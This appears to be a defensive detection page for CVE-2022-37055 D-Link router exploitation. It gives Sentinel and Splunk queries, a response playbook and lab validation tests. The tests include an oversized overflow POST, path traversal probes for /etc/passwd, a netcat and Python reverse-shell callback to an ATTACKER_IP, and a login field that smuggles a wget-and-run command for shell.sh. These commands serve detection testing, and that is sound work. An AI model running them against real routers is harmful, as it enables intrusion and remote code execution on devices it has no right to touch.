Detect CVE-2022-37055 D-Link Router Buffer Overflow Exploitation in Microsoft Sentinel
Detects exploitation attempts targeting CVE-2022-37055, a buffer overflow vulnerability (CWE-120) in D-Link routers. This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog, indicating active exploitation in the wild. Attackers may exploit this vulnerability to achieve remote code execution on affected D-Link routers, potentially enabling network pivoting, persistent access, or botnet enrollment.
MITRE ATT&CK
KQL Detection Query
let dlink_device_ips = dynamic([]);
let suspicious_payloads = dynamic(['%2F..%2F', '../', 'cmd=', 'shell=', '/bin/sh', '/bin/bash', 'wget ', 'curl ']);
CommonSecurityLog
| where TimeGenerated >= ago(24h)
| where DeviceVendor has_any ('D-Link', 'DLink') or DeviceProduct has_any ('Router', 'DIR-', 'DSR-', 'DWR-')
| where Activity has_any ('buffer', 'overflow', 'exploit', 'attack') or RequestURL has_any (suspicious_payloads)
| extend SourceHost = SourceIP, TargetDevice = DestinationIP
| project TimeGenerated, SourceHost, TargetDevice, Activity, RequestURL, DeviceVendor, DeviceProduct, Message
| union (
NetworkAnalytics
| where TimeGenerated >= ago(24h)
| where DestinationPort in (80, 443, 8080, 8443, 23, 22)
| where FlowDirection == 'I'
| extend PayloadLength = toint(BytesSent)
| where PayloadLength > 65000
| project TimeGenerated, SourceHost = SrcIp, TargetDevice = DestIp, Activity = 'Large payload to potential router', RequestURL = '', DeviceVendor = 'Unknown', DeviceProduct = 'Network Device', Message = strcat('Large inbound payload: ', tostring(PayloadLength), ' bytes')
)
| order by TimeGenerated descDetects exploitation attempts against D-Link routers via CommonSecurityLog entries and network analytics showing anomalous large payloads or known exploit patterns targeting router management interfaces.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate firmware update traffic generating large payloads to router management interfaces
- Network scanning tools performing authorized vulnerability assessments against D-Link devices
- Router management software sending large configuration payloads during bulk provisioning
- Security monitoring appliances generating CommonSecurityLog events during normal signature updates
Other platforms for CVE-2022-37055
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1CVE-2022-37055 Buffer Overflow Simulation via Oversized HTTP POST
Expected signal: Network logs showing HTTP POST request to port 80 with Content-Length > 65000 bytes destined for router management interface IP. IDS alerts for anomalous payload size.
- Test 2Path Traversal Probe Against D-Link Router Management Interface
Expected signal: Web server access logs or proxy logs showing GET requests with '../' or '%2F..%2F' sequences to router management CGI paths. Firewall logs capturing the HTTP request URLs.
- Test 3Reverse Shell Listener Simulation Post Router Compromise
Expected signal: Netflow/IPFIX records showing TCP connection attempts from router management IP to high-risk ports (4444, 1337, etc.). EDR network telemetry if agent is installed on network capture host.
- Test 4CVE-2022-37055 IDS Signature Validation
Expected signal: IDS/IPS alerts firing on CVE-2022-37055 signature, command injection patterns (wget, shell commands in POST body), and anomalous User-Agent strings in network monitoring.
Response Playbook
Triage
- Identify the destination IP of the exploit attempt and determine if it belongs to a D-Link router. Query your CMDB or DHCP/ARP tables to confirm device make/model and current firmware version.
- Determine if the source IP is internal (indicating a compromised internal host pivoting to attack routers) or external (indicating internet-facing router exploitation). Check threat intelligence feeds for the source IP reputation.
- Review the full HTTP request payload if available from proxy or packet capture. Look for shellcode patterns, wget/curl commands, or reverse shell payloads embedded in the buffer overflow attempt.
- Assess whether the targeted D-Link router is internet-facing or internal-only, and determine what network segments it serves. Internet-facing routers present the highest risk of successful exploitation and botnet enrollment.
- Check for any D-Link security advisories applicable to the specific model and firmware version identified. Cross-reference with CISA KEV entry for CVE-2022-37055 to understand the urgency level.
Containment
- If exploitation is confirmed or strongly suspected, immediately isolate the affected D-Link router from the network by blocking its management interface (ports 80, 443, 8080, 8443) at the upstream firewall or switch ACL. Do not power cycle — preserve volatile memory state for forensics.
- Block the attacker source IP at the perimeter firewall and any upstream network controls. If the source is an internal IP, isolate that host and initiate an incident for the potentially compromised internal system.
- Audit all network traffic flowing through the affected router for the past 72 hours to identify any lateral movement, data exfiltration, or C2 beaconing that may have occurred post-exploitation. Focus on new outbound connections to non-standard ports.
Evidence Collection
- Capture full packet capture (PCAP) of traffic to/from the affected router, focusing on management interface ports. Preserve this evidence before any remediation actions that might alter network state.
- Extract router logs if accessible via management console prior to isolation. Collect syslog data, authentication logs, and any web server access logs from the router's management daemon. Hash all collected artifacts for chain of custody.
- Document the network topology and identify all downstream devices and segments served by the compromised router. This establishes the potential blast radius and informs the scope of further investigation.
Escalation Criteria
- !Escalate to CISO and incident response team immediately if post-exploitation indicators are present: unexpected outbound connections from the router, new administrative accounts, modified firmware, or evidence of botnet C2 communication.
- !Escalate if multiple D-Link routers in the environment show similar exploitation patterns, indicating a coordinated campaign or automated exploitation tool targeting the infrastructure. This warrants a network-wide audit of all D-Link devices.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Router syslog entries showing unexpected process crashes or restarts coinciding with exploitation attempts - >
Netflow/IPFIX records showing unusual outbound connection patterns from router IP to C2 infrastructure - >
DHCP/ARP logs showing the router's MAC address for device identification and firmware correlation - >
Packet captures containing the malformed HTTP request with oversized payload triggering the buffer overflow
Tuning Guidance
Start with high-confidence detections by requiring both a D-Link device identifier (vendor field, model prefix, or known asset inventory IP) AND an anomaly indicator (large payload, path traversal, or IDS signature). Reduce false positives by building an allowlist of authorized management IPs and maintenance windows. If your environment uses a network asset management system, enrich detections with router model and firmware data to enable firmware-version-specific alerting. For network segments without D-Link devices, disable the detection to reduce noise. Tune the byte threshold (currently 65000) based on observed baseline management traffic in your environment — some D-Link models have larger legitimate payloads during firmware operations.
Hunting Queries
Threat hunt for D-Link routers receiving anomalous traffic volumes that may indicate active scanning or exploitation campaigns. High byte counts or connection rates to router management ports warrant investigation.
CommonSecurityLog
| where TimeGenerated >= ago(7d)
| where DeviceVendor has_any ('D-Link', 'DLink') or DeviceProduct has_any ('DIR-', 'DSR-', 'DWR-', 'DAP-')
| where DestinationPort in (80, 443, 8080, 8443, 23, 22)
| summarize ConnectionCount=count(), UniqueSourceIPs=dcount(SourceIP), TotalBytes=sum(SentBytes) by DestinationIP, bin(TimeGenerated, 1h)
| where ConnectionCount > 100 or TotalBytes > 10000000
| order by TotalBytes descindex=network sourcetype IN (cisco:asa, paloalto:firewall, suricata)
| search dest_port IN (80, 443, 8080, 8443, 23)
| eval is_dlink=if(match(vendor, "(?i)d-link") OR match(model, "(?i)(DIR|DSR|DWR|DAP)-"), 1, 0)
| stats sum(bytes_in) as total_bytes, dc(src_ip) as unique_sources, count as connections by dest_ip, is_dlink, span=1h
| where total_bytes > 10000000 OR connections > 100
| sort -total_bytesHunt for D-Link routers initiating outbound connections to common reverse shell and C2 ports, which would indicate successful exploitation and post-compromise activity.
NetworkAnalytics
| where TimeGenerated >= ago(7d)
| where FlowDirection == 'O'
| where DestinationPort in (4444, 1337, 31337, 8888, 9999, 6666, 7777)
| join kind=inner (
CommonSecurityLog
| where DeviceVendor has_any ('D-Link', 'DLink')
| distinct DeviceAddress
) on $left.SrcIp == $right.DeviceAddress
| project TimeGenerated, RouterIP=SrcIp, C2IP=DestIp, C2Port=DestinationPort, BytesSent
| order by TimeGenerated descindex=network sourcetype=netflow
| where src_port NOT IN (80, 443, 8080, 8443) AND dest_port IN (4444, 1337, 31337, 8888, 9999, 6666, 7777)
| lookup dlink_device_inventory src_ip as src OUTPUT is_dlink_device
| where is_dlink_device=true
| stats count by src_ip, dest_ip, dest_port
| sort -countAtomic Red Team Tests
Simulates a buffer overflow exploitation attempt by sending an oversized HTTP POST request to a D-Link router management interface. This tests whether security controls detect anomalously large payloads to router management ports.
Command
# LAB ONLY - Target must be an isolated test D-Link router you own
# Replace TARGET_IP with your test router's management IP
TARGET_IP="192.168.1.1"
PAYLOAD=$(python3 -c "print('A' * 70000)")
curl -s -m 10 \
-X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
-H 'User-Agent: Mozilla/5.0 (compatible; SecurityTest/1.0)' \
--data-raw "param=${PAYLOAD}" \
"http://${TARGET_IP}/cgi-bin/login.cgi" \
-o /tmp/dlink_response.txt 2>&1
echo "Response saved to /tmp/dlink_response.txt"Cleanup
rm -f /tmp/dlink_response.txtExpected Telemetry
Network logs showing HTTP POST request to port 80 with Content-Length > 65000 bytes destined for router management interface IP. IDS alerts for anomalous payload size.
Expected Detection
Triggers on large payload threshold (>65000 bytes) in both KQL NetworkAnalytics and SPL netflow queries. Should generate CommonSecurityLog event from perimeter firewall if traffic is logged.
Sends HTTP requests with path traversal sequences to a D-Link router management interface to test if security monitoring detects the exploit pattern characteristic of CVE-2022-37055.
Command
# LAB ONLY - Target must be an isolated test D-Link router you own
TARGET_IP="192.168.1.1"
for PAYLOAD in '../etc/passwd' '%2F..%2F..%2Fetc%2Fpasswd' '../../proc/version' '../../../bin/sh'; do
echo "[*] Testing payload: ${PAYLOAD}"
curl -s -m 5 \
-H 'User-Agent: Mozilla/5.0 (SecurityTest/1.0)' \
"http://${TARGET_IP}/cgi-bin/${PAYLOAD}" \
-o /dev/null -w "HTTP Status: %{http_code}\n"
sleep 1
doneCleanup
No cleanup required — no files created on hostExpected Telemetry
Web server access logs or proxy logs showing GET requests with '../' or '%2F..%2F' sequences to router management CGI paths. Firewall logs capturing the HTTP request URLs.
Expected Detection
Triggers on URL path traversal pattern matching in KQL (RequestURL has_any), SPL (uri_path matching), and Chronicle YARA-L (re.regex on HttpUrl) rules. Should also trigger IDS/IPS signatures for path traversal.
Simulates the network behavior observed after successful D-Link router exploitation, where an attacker establishes a reverse shell connection. Tests whether outbound connections from router IP to high-risk ports are detected.
Command
# LAB ONLY - Simulate C2 callback behavior from a compromised router IP
# This test requires a controlled lab environment with a test router
ATTACKER_IP="10.0.0.100" # Your controlled attacker machine in lab
ATTACKER_PORT="4444"
# On attacker machine, run: nc -lvnp 4444
# Then simulate router sending callback (run from a host representing the router in lab):
nc -zv ${ATTACKER_IP} ${ATTACKER_PORT} 2>&1 || true
echo "[*] C2 callback simulation complete"
# Alternative: test detection by creating netflow that appears to originate from router
python3 -c "
import socket, time
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
s.connect(('${ATTACKER_IP}', ${ATTACKER_PORT}))
s.send(b'SIMULATION_TEST')
s.close()
except: pass
print('Simulation complete')
"Cleanup
Kill any netcat listeners started for this test: pkill -f 'nc -lvnp 4444'Expected Telemetry
Netflow/IPFIX records showing TCP connection attempts from router management IP to high-risk ports (4444, 1337, etc.). EDR network telemetry if agent is installed on network capture host.
Expected Detection
Triggers the hunting query for D-Link routers initiating outbound connections to C2 ports. Should be correlated with prior exploitation attempt alerts to confirm full attack chain.
Sends a crafted HTTP request containing CVE-specific strings to validate that IDS/IPS signatures correctly identify exploitation attempts for CVE-2022-37055.
Command
# LAB ONLY - Validates IDS/IPS signature detection
TARGET_IP="192.168.1.1"
# Send request with CVE identifier in User-Agent to test signature matching
curl -s -m 5 \
-H 'User-Agent: CVE-2022-37055-SecurityTest/1.0' \
-H 'X-Test-ID: buffer-overflow-simulation' \
"http://${TARGET_IP}/" \
-o /dev/null -w "IDS test sent, HTTP status: %{http_code}\n"
# Also test with command injection patterns in parameters
curl -s -m 5 \
-X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-raw 'user=admin&pwd=test;wget+http://10.0.0.100/shell.sh+-O+/tmp/s;sh+/tmp/s' \
"http://${TARGET_IP}/cgi-bin/login.cgi" \
-o /dev/null 2>&1
echo "IDS signature validation complete"Cleanup
No cleanup requiredExpected Telemetry
IDS/IPS alerts firing on CVE-2022-37055 signature, command injection patterns (wget, shell commands in POST body), and anomalous User-Agent strings in network monitoring.
Expected Detection
Triggers signature-based detection in QRadar AQL (QIDNAME matching buffer overflow/CVE-2022-37055), Sumo Logic (_raw matching CVE-2022-37055), and Splunk SPL (signature matching). Validates end-to-end detection pipeline for CVE-2022-37055.